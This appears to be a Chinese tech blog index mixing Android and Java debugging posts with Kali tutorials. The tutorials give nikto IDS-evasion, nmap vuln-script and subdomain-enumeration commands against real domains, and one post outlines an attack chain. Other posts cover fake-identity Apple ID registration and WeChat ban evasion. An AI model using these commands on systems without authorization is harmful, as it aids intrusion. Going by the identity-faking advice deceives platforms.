之前项目中有一个自定义弹窗,偶尔会报这个错。解决办法如下代码所示 主要逻辑是在弹窗show或者dismiss的时候,都增加了逻辑判断,判断宿主activity存在。 /** * 展示加载窗 * @param context 上下文 * @param isCancel 是否可以取消 */ public static void show(Context context, boolean isCancel) { if(context == null){ return; } if (context instanceof Activity) { if (((Activity) context).isFinishing()) { return; } } if (loadDialog != null && loadDialog.isShowing()) { return; } loadDialog = new LoadLayoutDialog(context, isCancel); loadDialog.show(); } /** * 销毁加载窗 * @param context 上下文 */ public static void dismiss(Context context) { if(context == null){ return; } try { if (context instanceof Activity) { if (((Activity) context).isFinishing()) { loadDialog = null; return; } } if (loadDialog != null && loadDialog.isShowing()) { Context loadContext = loadDialog.getContext(); if (loadContext instanceof Activity) { if (((Activity) loadContext).isFinishing()) { loadDialog = null; return; } } loadDialog.dismiss(); loadDialog = null; } } catch (Exception e) { e.printStackTrace(); loadDialog = null; } } G.其他延申 1.上一个页面没有destroy的时候,之前的Activity已经接收到了广播。如果此时之前的Activity进行UI层面的操作处理,就会造成crash。UI层面的刷新,一定要注意时机,建议使用set_result来代替广播的形式进行刷新操作,避免使用广播的方式,代码不直观且容易出错。 2.Dialog在Actitivty退出后弹出。在Dialog调用show方法进行显示时,必须要有一个Activity作为窗口的载体,如果Activity被销毁,那么导致Dialog的窗口载体找不到。建议在Dialog调用show方法之前先判断Activity是否已经被销毁。 3.Service&Application弹出对话框或WindowManager添加view时,没有设置window type为TYPE_SYSTEM_ALERT。需要在调用dialog.show()方法前添加dialog.getWindow().SetType(WindowManager.LayoutParams.TYPE_SYSTEM_ALERT)。 4.6.0的系统上, (非定制 rom 行为)若没有给予悬浮窗权限, 会弹出该问题, 可以通过Settings.canDrawOverlays来判断是否有该权限. 5.某些不稳定的MIUI系统bug引起的权限问题,系统把Toast也当成了系统级弹窗,android6.0的系统Dialog弹窗需要用户手动授权,若果app没有加入SYSTEM_ALERT_WINDOW权限就会报这个错。需要加入给app加系统Dialog弹窗权限,并动态申请权限,不满足第一条会出现没权限闪退,不满足第二条会出现没有Toast的情况。 Dialog&AlertDialog,Toast,WindowManager不能正确使用时,经常会报出该异常,原因比较多,几个常见的场景如下: H.其他建议 1.不要在非UI线程中使用对话框创建,显示和取消对话框; 2.尽量少用单独线程,出发是真正的耗时操作采用线程,线程也不要直接用Java式的匿名线程,除非是那种单纯的操作,操作完成不需要做其他事情的。 3.如果是在fragment中发起异步网络的回调中进行dialog的操作,那么在操作之前,需要判断 isAdd( ),避免fragment被回收了但是还要求dialog去dismiss 4.在Activity onDestroy中对Dialog提前进行关闭 2.8 java.lang.NoClassDefFoundError 找不到类异常 A.详细崩溃日志信息 B.查看崩溃类信息 如果Java虚拟机或ClassLoader实例试图加载类的定义(作为普通方法调用的一部分或使用新的表达式创建新实例的一部分),则抛出该类的定义。编译当前执行的类时存在搜索类定义,但无法再找到该定义。 public class NoClassDefFoundError extends LinkageError { private static final long serialVersionUID = 9095859863287012458L; public NoClassDefFoundError() { super(); } public NoClassDefFoundError(String s) { super(s); } private NoClassDefFoundError(String detailMessage, Throwable throwable) { super(detailMessage, throwable); } } C.项目中异常分析 问题的主要原因:方法数超65536限制。由于实际开发当中的需求不断变更,开源框架越来越多,大多都用第三方SDK,导致方法数很容易超出65536限制。出现错误Java.lang.NoClassDefFoundError D.引发崩溃日志的流程分析 这个错误是Android应用的方法总数限制造成的。android平台的Java虚拟机Dalvik在执行DEX格式的Java应用程序时,使用原生类型short来索引DEX文件中的方法。这意味着单个DEX文件可被引用的方法总数被限制为65536。通常APK包含一个classes.dex文件,因此Android应用的方法总数不能超过这个数量,这包括Android框架、类库和你自己开发的代码。而Android 5.0和更高版本使用名为ART的运行时,它原生支持从APK文件加载多个DEX文件。在应用安装时,它会执行预编译,扫描classes(..N).dex文件然后将其编译成单个.oat文件用于执行. 通熟的讲,就是分包。 F.解决办法 64k解决办法 G.其他延申 1.分dex包编程,如果依赖的dex包删除了指定的类,执行初始化方法时将会报错; 2.使用第三方SDK或插件化编程时,动态加载或实例化类失败将会报错; 3.系统资源紧张时,当大量class需要加载到内存的时候,处于竞争关系,部分calss竞争失败,导致加载不成功; 4.装载并初始化一个类时失败(比如静态块抛 java.lang.ExceptionInInitializerError 异常),然后再次引用此类也会提示NoClassDefFoundErr 错误; 5.手机系统版本或硬件设备不匹配(如ble设备只支持18以上SDK),程序引用的class在低版本中不存在,导致NoClassDefFoundErr 错误。 6.so文件找不到,设备平台armeabi-v7a,但是我的so库是放在armeabi中的,解决方法新建一个armeabi-v7a包,并且把armeabi的文件拷贝过来. 该异常表示找不到类定义,当JVM或者ClassLoader实例尝试装载该类的定义(这通常是一个方法调用或者new表达式创建一个实例过程的一部分)而这个类定义并没有找时所抛出的错误。 [解决方案]:NoClassDefFoundError异常一般出现在编译环境和运行环境不一致的情况下,就是说有可能在编译过后更改了Classpath或者jar包所以导致在运行的过程中JVM或者ClassLoader无法找到这个类的定义。 2.9 Android出现:Your project path contains non-ASCII characters. A.详细崩溃日志信息 B.查看崩溃类信息 C.项目中异常分析 D.引发崩溃日志的流程分析 F.解决办法 很好解决啦,就是你的工程项目路径或者项目名称包含了中文,修改相关的名称就好 G.其他延申 3.1 OnErrorNotImplementedException【 Can't create handler inside thread that has not called Looper.prepare()】 A.详细崩溃日志信息 Can't create handler inside thread that has not called Looper.prepare() B.查看崩溃类信息 C.项目中异常分析 D.引发崩溃日志的流程分析 这是因为Handler对象与其调用者在同一线程中,如果在Handler中设置了延时操作,则调用线程也会堵塞。每个Handler对象都会绑定一个Looper对象,每个Looper对象对应一个消息队列(MessageQueue)。如果在创建Handler时不指定与其绑定的Looper对象,系统默认会将当前线程的Looper绑定到该Handler上。 在主线程中,可以直接使用new Handler()创建Handler对象,其将自动与主线程的Looper对象绑定;在非主线程中直接这样创建Handler则会报错,因为Android系统默认情况下非主线程中没有开启Looper,而Handler对象必须绑定Looper对象。 如果在主线程中创建handler时,系统会自动创建Looper,但是在子线程中创建handler时,是不会自动创建Looper的,此时如果不手动创建Looper,系统就会崩溃 F.解决办法 不要在子线程中做UI操作,比如更改界面,吐司等等…… 方法1:需先在该线程中手动开启Looper(Looper.prepare()-->Looper.loop()),然后将其绑定到Handler对象上; final Runnable runnable = new Runnable() {   @Override   public void run() {     //执行耗时操作     try {       Log.e("bm", "runnable线程:" + Thread.currentThread().getId()+ " name:" + Thread.currentThread().getName());       Thread.sleep(2000);       Log.e("bm", "执行完耗时操作了~");     } catch (InterruptedException e) {     e.printStackTrace();     }   } }; new Thread() {   public void run() {     Looper.prepare();     new Handler().post(runnable);//在子线程中直接去new 一个handler     Looper.loop();    //这种情况下,Runnable对象是运行在子线程中的,可以进行联网操作,但是不能更新UI   } }.start(); 方法2:通过Looper.getMainLooper(),获得主线程的Looper,将其绑定到此Handler对象上。 final Runnable runnable = new Runnable() {   @Override   public void run() {     //执行耗时操作     try {       Log.e("bm", "runnable线程: " + Thread.currentThread().getId()+ " name:" + Thread.currentThread().getName());       Thread.sleep(2000);       Log.e("bm", "执行完耗时操作了~");     } catch (InterruptedException e) {     e.printStackTrace();     }   } }; new Thread() {   public void run() {    //在子线程中直接去new 一个handler     new Handler(Looper.getMainLooper()).post(runnable);     //这种情况下,Runnable对象是运行在主线程中的,不可以进行联网操作,但是可以更新UI   } }.start(); 3.2 platform-tools\adb.exe,start-server' failed -- run manually if necessary A.详细崩溃日志信息 B.查看崩溃类信息 C.项目中异常分析 adb启动失败,端口被占用 D.引发崩溃日志的流程分析 F.解决办法 百度google大家多说的是任务管理器 kill掉adb 或者重启adb server,但我任务管理器就没有adb ,猜测是某个程序占用了adb端口。于是按此思路查找。 5037为adb默认端口 查看该端口情况如下: netstat -aon|findstr "5037" TCP 127.0.0.1:5037 0.0.0.0:0 LISTENING 6540 发现6540占用了 5037端口,继续查看6540的task,发现是wandoujia .如下所示 tasklist|findstr "6540" wandoujia_daemon.exe 6540 Console 1 4,276 K 接下来问题就好解决了,在任务管理器kill掉wandoujia_daemon.exe ,运行android程序,ok . 1.关闭xx荚进程 2.adb kill-server 3.adb start-server 未完待续....希望对大家有帮助.......

    2021-04-21 604
  • Java项目中存在大量判空代码,怎么解决?

    问题 为了避免空指针调用,我们经常会看到这样的语句 if (someobject != null) {     someobject.doCalc(); } 最终,项目中会存在大量判空代码,多么丑陋繁冗!如何避免这种情况?我们是否滥用了判空呢? 回答 这是初、中级程序猿经常会遇到的问题。他们总喜欢在方法中返回null,因此,在调用这些方法时,也不得不去判空。另外,也许受此习惯影响,他们总潜意识地认为,所有的返回都是不可信任的,为了保护自己程序,就加了大量的判空。 吐槽完毕,回到这个题目本身,进行判空前,请区分以下两种情况: null 是一个有效有意义的返回值(Where null is a valid response in terms of the contract; and) null是无效有误的(Where it isn’t a valid response.) 你可能还不明白这两句话的意思,不急,继续往下看,接下来将详细讨论这两种情况 先说第2种情况 null就是一个不合理的参数,就应该明确地中断程序,往外抛错误。这种情况常见于api方法。例如你开发了一个接口,id是一个必选的参数,如果调用方没传这个参数给你,当然不行。你要感知到这个情况,告诉调用方“嘿,哥们,你传个null给我做甚"。 相对于判空语句,更好的检查方式有两个 assert语句,你可以把错误原因放到assert的参数中,这样不仅能保护你的程序不往下走,而且还能把错误原因返回给调用方,岂不是一举两得。(原文介绍了assert的使用,这里省略) 也可以直接抛出空指针异常。上面说了,此时null是个不合理的参数,有问题就是有问题,就应该大大方方往外抛。 第1种情况会更复杂一些。 这种情况下,null是个”看上去“合理的值,例如,我查询数据库,某个查询条件下,就是没有对应值,此时null算是表达了“空”的概念。 这里给一些实践建议: 假如方法的返回类型是collections,当返回结果是空时,你可以返回一个空的collections(empty list),而不要返回null.这样调用侧就能大胆地处理这个返回,例如调用侧拿到返回后,可以直接print list.size(),又无需担心空指针问题。(什么?想调用这个方法时,不记得之前实现该方法有没按照这个原则?所以说,代码习惯很重要!如果你养成习惯,都是这样写代码(返回空collections而不返回null),你调用自己写的方法时,就能大胆地忽略判空) 返回类型不是collections,又怎么办呢? 那就返回一个空对象(而非null对象),下面举个“栗子”,假设有如下代码 public interface Action {   void doSomething();} public interface Parser {   Action findAction(String userInput);} 其中,Parse有一个接口FindAction,这个接口会依据用户的输入,找到并执行对应的动作。假如用户输入不对,可能就找不到对应的动作(Action),因此findAction就会返回null,接下来action调用doSomething方法时,就会出现空指针。 解决这个问题的一个方式,就是使用Null Object pattern(空对象模式) 我们来改造一下 类定义如下,这样定义findAction方法后,确保无论用户输入什么,都不会返回null对象: public class MyParser implements Parser {   private static Action DO_NOTHING = new Action() {     public void doSomething() { /* do nothing */ }   };   public Action findAction(String userInput) {     // ...     if ( /* we can't find any actions */ ) {       return DO_NOTHING;     }   } } 对比下面两份调用实例 1.冗余: 每获取一个对象,就判一次空 Parser parser = ParserFactory.getParser(); if (parser == null) {   // now what?   // this would be an example of where null isn't (or shouldn't be) a valid response } Action action = parser.findAction(someInput); if (action == null) {   // do nothing}  else {   action.doSomething(); } 2.精简 ParserFactory.getParser().findAction(someInput).doSomething(); 因为无论什么情况,都不会返回空对象,因此通过findAction拿到action后,可以放心地调用action的方法。扩展一下:Java:如何更优雅的处理空值? 其他回答精选: 如果要用equal方法,请用object<不可能为空>.equal(object<可能为空>)) 例如: 使用 "bar".equals(foo) 而不是 foo.equals("bar") Java8或者guava lib中,提供了Optional类,这是一个元素容器,通过它来封装对象,可以减少判空。不过代码量还是不少。不爽。 如果你想返回null,请停下来想一想,这个地方是否更应该抛出一个异常。 ...

    2021-04-17 578
  • Windows任务栏快捷方式广告问题

    有时候安装了恶意软件,会给任务栏的浏览器图标设置导航。 不管怎么改都没有用。 下面的方法主要是解决这个问题。 1、按 Win + R 组合键,打开运行窗口,输入并确定或回车执行以下命令,可以快速打开任务栏快捷方式所在文件夹,进行相应的备份 %AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar 找到你的图标,右键属性,把这一部分网址删掉就可以了。 如果没有找到你的浏览器图标,输入下面几个路径,然后挨个文件夹看一遍 %AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts ...

    2021-04-07 684
  • SQL 语句中 where 条件后 写上 1=1 是什么意思!

    程序员在编程过程中,经常会在代码中使用到“where 1=1”,这是为什么呢? 这段代码应该是由程序(例如Java)中生成的,where条件中 1=1 之后的条件是通过 if 块动态变化的。 例如 String sql="select * from table_name  where 1=1"; if( conditon 1) {   sql=sql+"  and  var2=value2"; } if(conditon 2) {   sql=sql+"  and var3=value3"; } where 1=1 是为了避免where 关键字后面的第一个词直接就是 “and”而导致语法错误。 动态SQL中连接AND条件 where 1=1 是为了避免where 关键字后面的第一个词直接就是 “and”而导致语法错误。 where后面总要有语句,加上了1=1后就可以保证语法不会出错! select * from table where 1=1 因为table中根本就没有名称为1的字段,所以该SQL等效于select * from table, 这个SQL语句很明显是全表扫描,需要大量的IO操作,数据量越大越慢, 建议查询时增加必输项,即where 1=1后面追加一些常用的必选条件,并且将这些必选条件建立适当的索引,效率会大大提高 拷贝表 create table  table_name   as   select   *   from   Source_table   where   1=1; 复制表结构 create table  table_name   as   select   *   from   Source_table   where   1 <> 1; 所以在查询时,where1=1的后面需要增加其它条件,并且给这些条件建立适当的索引,效率就会大大提高。...

    2021-04-06 504
  • 反入侵体系建设入门-攻击场景梳理

    0x00 信息收集 1.目标确认 1.1 域名注册信息 目标所有者信息 获取真实IP 验证是否存在CDN 绕过CDN查找网站真实IP 1.2 DNS信息查询 目的: 注册者名称及邮箱,再反查其他域名 手机号 座机号 ASN号 地址在线DNS信息查询工具 1.3 测试域传送漏洞 域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。 1.4 业务相关 github泄露: 网盘泄露: 各种云网盘 敏感路径扫描: 2.OSINT 公开情报收集 2.1 社工技巧 查看注册的网站: 可以从这些方面判断用户是否注册过 知道QQ 知道手机号 留意社交动态 2.2 搜索引擎OSINT Google Hacking(baidu\bing\souhu\github) 2.3 浏览器实用插件: Wappalyzer:识别网站使用的中间件及其版本,再去漏洞库和搜索引擎找公开披露的漏洞 SwitchOmega:快捷切换代理 shodan:识别开放端口,主机服务等(被动信息搜集) hacktools:综合插件,很强大 firefox渗透便携版version48,工具集成很多 注意:根据获得服务、中间件信息、编辑器版本、数据库等OSINT去各大漏洞库、搜索引擎找漏洞利用 2.4 乌云和cnvd 乌云库\乌云镜像\GHDB\CNVD等公开漏洞库 0x01 主动探测 从管理员和用户的角度了解整个WEB应用乃至整个目标的全貌,主动探测会暴露ip以及留下日志信息,所以要... 1.主动扫描 1.1 常见服务漏洞 nmap的功能: 脚本扫描,隐蔽扫描,端口扫描,服务识别,OS识别,探测WAF 1.3 WAF及bypass 探测WAF bypass 1.4 目录、后台和敏感路径文件扫描 御剑目录、后台扫描 2.人工浏览\逐个请求burp 非常重要,有必要手动去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。 图片后台地址\图片后面的信息 跳转参数\奇怪的参数 泄露邮箱等社工信息 业务逻辑\架构 3.自动化 自动化渗透测试框架:(待补充) Sn1per Ary 0x02 漏洞挖掘 1.漏洞扫描工具 注意:登录类网站扫描要带cookies扫才能扫到 1.1 Nikto Web服务漏洞扫描器 1.2 AWVS漏扫 1.3 NESSUS 1.4 Xray自动化的漏洞挖掘 1.5 Fuzz 2.挖掘漏洞 2.1 SQL注入: 2.2 XSS: 2.3 文件上传 2.4 命令执行 2.5 弱口令及字典破解 后台弱口令爆破撞库 2.6 逻辑漏洞 0x03 漏洞利用 对应0x02的挖掘漏洞,进行对应的利用。 0x04 提升权限 提升权限不一定需要,根据任务目标决定。 1.1 内核漏洞 1.2 root权限运行的漏洞软件 1.3 弱密码/重用密码 1.4 suid配置错误 1.5 滥用sudo 1.6 Cronjobs 1.6 敏感文件 0x05 达成目标 1.1 重要文件窃取 1.2 数据库数据窃取、修改 0x06 权限维持 1.1 web后门 1.2 SSH后门 1.3 Cronjobs 1.4 SSH公钥 1.5 SUID=0用户 1.6 木马文件 0x07 防御对抗 1.1 日志清除 1.2 防护软件对抗(卸载) 1.3 进程注入 1.4 进程隐藏 0x08 横向移动 1.1 信息收集 1.2 隧道搭建 1.3 内网扫描 1.4 漏洞扫描 返回到主动探测的步骤,再来一遍。 写在结尾 很多攻击手法不能一一列举,之后会单独分模块展开叙述,如有技术问题交流,可以加入交流群。 ...

    2021-04-06 592
  • 百度蜘蛛爬取网站的频率低,怎么引导蜘蛛?

    1、网站结构实现良好的树状结构;网站链接实现静态化;网站内容资源丰富。一定要先搭建好网站所需的架构,利于蜘蛛的爬行,蜘蛛不像人一样会思考,会转弯,所以需要指引。 2、保证网站更新频率。不要一天打鱼三天晒网,我们人喜欢新鲜的事物,蜘蛛也是一样的。就像小孩一样,每天给他糖吃,他自然就会跟着你,久而久之,他还会自动找上你呢。 3、保证有明确的关键词。百度蜘蛛就是通过关键词进来的,如果你网站没有明确的关键词的话,蜘蛛就会茫然了,那你网站的排名肯定会上不去。最好在标题里2-3个关键词,不要太多;而内页的关键词不要和标题的一样,这会更容易让蜘蛛把内页判断出来,并给于内页一定的权重。 4、保证网站高质量的原创。蜘蛛一天爬行那么多的地方,如果你的内容是采集来的,那对蜘蛛来说就没有什么意义了.不仅不能吸引蜘蛛的到来,也不能吸引用户的光临。蜘蛛的来访是有规律的。如果你每天有更新,它就每天来;一个月有更新,它就一个月来,所以说百度抓取取决于蜘蛛来访。 5、友情链接一定要做好,一个新站想要快速的站稳脚跟快速被收录,很大一部分是需要友情链接的,而且是优质的友情链接,找友情链接的标准一定要是按时更新内容、百度收录数量正常、站内友链不多、内容质量高、权重不低于自己的网站做友链,还要记住按时去检查友链。 6、定期将网站链接放到Sitemap中,然后将Sitemap提交给百度。百度会周期性的抓取检查您提交的Sitemap,对其中的链接进行处理,但收录速度慢于主动推送。 7、主动推送能够更快速的让百度发现你的网站并且收录,这也是最快速的提交方式,将站点当天新产出链接立即通过此方式推送给百度,以保证新链接可以及时被百度收录。 ...

    2021-04-04 577
  • 注册美区Apple ID

               很多小伙伴们想要手机上外网,无奈只有一个苹果手机 众所周知苹果中国区商店是不允许VPN上架的,也不允许我们自己装APP 所以大部分的机场都会采用小火箭等软件订阅的方法来给用户使用 我写这篇文章的时候苹果大规模封禁共享的ID,苦了我们这些用户了 那如何拥有一个自己的美区ID呢? 准备工作 首先找一个靠谱的**屏蔽敏感词**工具,这里推荐自由派 然后节点选择美国的,最好是原生IP的,然后开全局模式 为了确保成功替换了本地IP,请用safari打开 https://www.ipip.net/ip.html 如果显示ip是united states就行了,不行再换一个节点 然后把手机语言调成英文(这步可选,看不懂英语的量力而行) 开始注册 用safari打开 https://appleid.apple.com  先划到网站右下角看看地区是否美国,不是则切换为美国 选择 create a new apple id 按步骤填写信息,记住密码保护问题,下次登陆的时候可能要你回答 有可能要验证邮箱,切记,收到email以后,最好在当前一样的上网环境下打开 特别是当前网络是美国状态,如果电脑上打开不是这个状态,可能会影响成功率 完善账户信息 注册完了应该会跳转到账户信息的页面 没跳转的话就还用safari打开 https://appleid.apple.com  然后登陆你刚注册的id 登陆以后,点击 payment & shipping 然后选 ADD Payment Method Payment选择none 填写美国地址,百度美国人信息生成,生成一个对照着填上去就可以 了 填写手机号码的话到 Temporary SMS and Disposable Numbers 这个网站 当然了,你要是有google voice的话,直接填上去就好了 选择一个,然后填写上去,不需要写美国的国家代码 +1 需要注意的是,有些号码可能会提示invalid phone number,换一个再试试 一般不会提示验证手机号码 上述步骤完成以后,确认。账号注册就算基本成功了 验证账号 注册完了以后我们肯定是要去美区商店啊对吧 你可以选择直接把手机绑定的ID换成美区id 也可以在APP STORE里单独注销你原来的id登陆美区id,看你自己的需求 反正这时候你的商店应该是美区的了,你随便点一个app下载 会提示use an existing apple id 登录刚注册的ID会提示this apple id has not yet been used in the itunes store 点击review,进去给terms and conditions的选项选中,然后确认就行了 下载完这个账号,一切就大功告成啦~ 最后 有人会问,你刚才支付那里选了None,那怎么买app呢? 因为苹果的迷之操作,所以不管是paypal还是信用卡,经常绑定失败 这里建议大家去淘宝之类的买礼品卡充值就好了,还会便宜一些 ...

    2021-04-04 690
  • m1款mbp读写ntfs硬盘

    想要拷贝给一个同事的ntfs硬盘里文件,插到拓展坞上发现无法读写 找了一圈方法,发现相关的程序都不支持arm框架的cpu 还好最后找到了不用安装软件的方法 首先我们打开 启动台-其他-终端 然后我们输入下面的代码然后按回车运行 sudo nano /etc/fstab 这里要输一下电脑的密码(密码是不显示的),之后还是回车运行 然后就会进入一个文档页面 我们输入 LABEL=你的硬盘名字 none ntfs rw,auto,nobrowse 然后按 control + x 屏幕上提示你以后,按 y 确认来保存 这时候我们拔掉u盘再插上,发现访达里不显示这个u盘了 我们打开访达,点这个“前往文件夹” 输入以下内容并按回车 输入/Volumes/ 这时候就惊喜的看到刚才消失的u盘就出来啦!并且可以正常读写了 ...

    2021-04-04 603
  • 某宝卖的微信号解封教程

    某宝买的教程解决办法: 微信被封永久禁和其它时长解决办法: 如果绑定了QQ号,可以去冻结账户,修改QQ密码24小时候申请解冻,会有意想不到的效果。 微信号被封禁60天的解决方法:如果绑定了QQ号,可以去冻结账户6~8小时再解冻,就变成了3天。 微信号被封30天的解决方法:先登录账号进入安全中心,下一步将账号解冻5小时后再解冻,登陆微信查看是否变成3天。 ...

    2021-04-04 711
  • 在浏览器中输入一个IP地址,计算机如何找到它?

    在浏览器中输入一个IP地址 计算机以什么方式在如此多的设备中定位并连接到此IP所在的计算机? 比如百度的IP地址202.108.22.5,计算机怎样能在全球四十多亿个IP中找到它?IPv6号称能为地球上每一粒沙编号 IPv6与IPv4的查找方式是否一致? 非IT专业的读者,可能对互联网有一个小误解。计算机压根不知道202.108.22.5在哪里,但是互联网却知道202.108.22.5在哪里,互联网知道这个IP地址隶属于北京联通。 互联网如何知道202.108.22.5在哪里?全球IP地址被各大运营商、大型企业瓜分一空。比如这个202.108.22.5就被联通集团抢到了。当然抢IP地址不是一个一个抢的,而是一段一段抢的。比如联通可能抢到了202.108.0.0/16这一大段IP地址。202.108.0.0/16代表的意思是,以202.108开头的任意IP地址,也可以写成202.108.X.X以方便理解。其中,“X”代表从0到255的任意数字。苹果公司抢到了17.0.0.0/8,代表17.x.x.x,这个号段一共包含1600万+多个全球IP地址。 各大运营商抢到了自己的IP号段,需要用BGP为这些IP号段铺路了。联通用BGP分别告诉中国电信、中国移动,自己所有的IP号段,其中包含有202.108.0.0/16。当然电信、移动也会用BGP告诉彼此自己所有的IP号段。当然还要国外的运营商交换彼此的IP号段,这样才能构成全球互联网。 这些秘密交易(运营商之间的BGP路由交换),通常发生在联通与电信的核心网里。核心网是每个运营商的一级网络。核心网会通过长途传输网下联各大省公司(二级网络),省公司再下联市一级,市公司下辖区、县、数据中心。与此相对应,202.108.0.0/16这个号段也会被层层分割,一直分到数据机房。 举个小例子当中国电信网络里出现一个目的IP= 202.108.22.5的报文,由于202.108.22.5位于IP号段202.108.0.0/16内,电信知道需要将报文扔给联通的网络(电信与联通会有互联光纤)。于是IP报文从电信网络进入联通网络。 联通网络如何知道202.108.22.5隶属于北京联通?联通集团,会将202.108.0.0/16这个大号段(包含65536个IP),细分为多个IP号段,分给直辖市、省公司。 北京是大直辖市,分得比较多,假如分得了202.108.16.0/20(共包含4096个IP)。这个号段最小的IP = 202.108.16.0,最大的IP= 202.108.31.255。很显然202.108.22.5属于这个号段。 202.108.16.0/20被分到北京联通公司,北京联通下辖多个区、多个数据中心。202.108.16.0/20被层层分割,202.108.22.5这个IP被分配给北京联通某数据中心,恰巧被百度租下,配置在服务器上。 全球IP在互联网上的位置,在互联网用户访问它们之前已经早就被互联网知晓。互联网耐心等待着来自用户的IP报文,万事俱备,只欠用户IP报文的到来了。 不是IP报文进入互联网之后,互联网再去查询IP地址在哪里。不是这样的,那多慢啊,黄花菜都要凉了。读者一定要清晰这一点,互联网早就准备好了,随时为用户IP报文服务。 电信的用户老王电脑上的IP报文(目的IP = 202.108.22.5 )是如何到达北京联通机房,并最终到达百度服务器? 报文开头说计算机其实并不知道202.108.22.5的位置在哪里,这句话不是非常准确。为什么这么说呢?每一台连接互联网的计算机都有一条神奇的路由 0.0.0.0/0 指向运营商。 这条神奇的路由,包含所有的IP地址,自然也包含202.108.22.5。所以老王的计算机会将IP报文扔给运营商。通常用户发给运营商IP报文的方向为上行(upstream),用户接收运营商IP报文的方向为下行(downstream)。 IP报文(简称网络流量),网络流量是一个没有生命的快递包裹,外包装上写有收件人IP地址= 202.108.22.5。快递包裹既然没有生命,进入互联网之后被动接受路由服务,直到到达终点。 电信的接入网收到老王的IP报文,接入网也不知道终点的准确位置,但是接入网也有同样神奇的路由 0.0.0.0/0,指向更上一级网络。于是,IP报文继续上行到上一级网络。这种层层上行的游戏一直继续上演,直到IP报文到达电信的核心网。 电信核心网不是摸鱼的,它知道202.108.22.5在什么位置,因为它有一条指向联通网络的路由202.108.0.0/16,于是将IP报文扔给联通核心网。 联通核心网收到IP报文,一查路由表,202.108.22.5匹配到202.108.16.0/20,指向北京联通路由器。将IP报文下行扔给北京联通。 北京联通继续查自己的路由表,匹配到202.108.22.0/24路由,指向某区数据中心。将IP报文下行扔给某区数据中心路由器。 数据中心路由器收到IP报文之后,也查路由表,找到一条路由 202.108.22.4/31恰好匹配202.108.22.5,指向百度服务器,将IP报文扔给百度服务器,IP报文终于到达了终点。 总结 • IP报文从老王计算机发出,到达电信核心网之前,称为上行。上行通常只能使用0.0.0.0/0路由。采用的是模糊查找。 • IP报文从电信核心网到达联通核心网,使用BGP路由,称为交换。采用的是比较清晰的查找。 • IP报文从联通核心网,层层下行,路由越来越清晰,越来越逼近终点。采用的是越来越清晰的查找。 本文的关键词可以总结为查找,可以概况为: 模糊查找(上行)--------- >  较清晰查找 (交换) ---------- > 越来越清晰的查找(下行)。...

    2021-04-04 651
  • 2021Kali系列 -- 目录扫描(nikto)

    一、软件介绍 nikto, 基于perl语言开发的web页面扫描器。其特点扫描全面,速度快 二、使用方法 1、扫描单个url: nikto   -host http://192.168.1.108 2、扫描多个url: 多个url卸载1.txt nikto -host 1.txt 3、扫描https网站 nikto   -host  www.baidu.com   -ssl   -port 443 4、通过代理扫描 nikto   -host  https://www.baidu.com -ssl   -useproxy  http:// 113.195.154.44:9999 5、使用LibWhisker绕过IDS的检测(10个参数 1-8、A、B) 1 随机URI编码(非utf-8) 2 自选择路径(/. /) 3 过早结束的URL 4 使用长随机字符串 5 使用假参数 6 使用tab作为命令的分隔符 7 更改URL的大小写 8 使用windows的命令分隔符"\" A 使用回车0x0d作为请请求分隔符 B 使用二进制0x0b作为请请求分隔符       nikto -hostwww.baidu.com -ssl  -port 443    -evasion 1358 三、修改配置信息 1、打开配置文件 vi /etc/nikto.conf 2、修改UA Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 3、修改cookie 禁止非法,后果自负 ...

    2021-04-02 612
  • 2021Kali系列 -- 信息收集(子域名)

    一、在线查找 1、通过google语法 site:baidu.com 2、通过在线网站 https://phpinfo.me/domain 3、通过证书搜索 https://crt.sh/ 4、通过dns搜索 http://dns.bufferover.run/dns?q=baidu.com 二、sublist3r工具搜索 1、下载安装: git clone https://github.com/aboul3la/Sublist3r.git 2、安装需要的模块 pip3 install -r requirements.txt 3、搜索子域名 python3 sublist3r -d baidu.com -p 80,443 -o 1.txt 禁止非法,后果自负 ...

    2021-03-30 615
  • 2021Kali系列 -- 信息收集(Nmap)

    一、默认扫描 nmap 目标IP nmap 192.168.139.132 1、如果是root用户,默认的是SYN扫描 2、如果是普通用户,默认的是TCP连接扫描,不安全,慢 二、指定端口扫描 nmap -p 端口(范围) 目标IP nmap -p 20-25 192.168.139.132 三、穿透防火墙扫描,服务器禁止ping命令,可以试试-Pn,-A全面扫描,包括系统和版本信息 nmap -Pn -A 192.168.139.132 四、漏洞扫描 nmap -script=vuln 192.168.139.132 五、扫描系统和程序版本号检测 六、端口状态: 1、open:端口打开 2、close:端口关闭 3、filter:端口被过滤,数据不能到达主机 4、unfilter:端口未被过滤,数据能到主机,但不能识别端口 七、nmap脚本扫描 1、nmap脚本分类,有以下几个大类: auth:负责处理鉴权证书(绕开鉴权)的脚本 broadcast:在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务 brute:提供暴力破解方式,针对常见的应用如http/snmp等 default:使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力 discovery:对网络进行更多的信息,如SMB枚举、SNMP查询等 dos:用于进行拒绝服务攻击 exploit:利用已知的漏洞入侵系统 external:利用第三方的数据库或资源,例如进行whois解析 fuzzer:模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽 malware:探测目标机是否感染了病毒、开启了后门等信息 safe:此类与intrusive相反,属于安全性脚本 version:负责增强服务与版本扫描(Version Detection)功能的脚本 vuln:负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067 2、whoami信息扫描 nmap --script=whois-domain baidu.com 3、DNS解析扫描 nmap --script=dns-brute baidu.com 八、nmap导出结果 1、nmap  192.168.139.132 -oN /home/aiyou/桌面/1.txt 禁止非法,后果自负 ...

    2021-03-30 642
  • 2021Kali系列 -- 基础命令学习

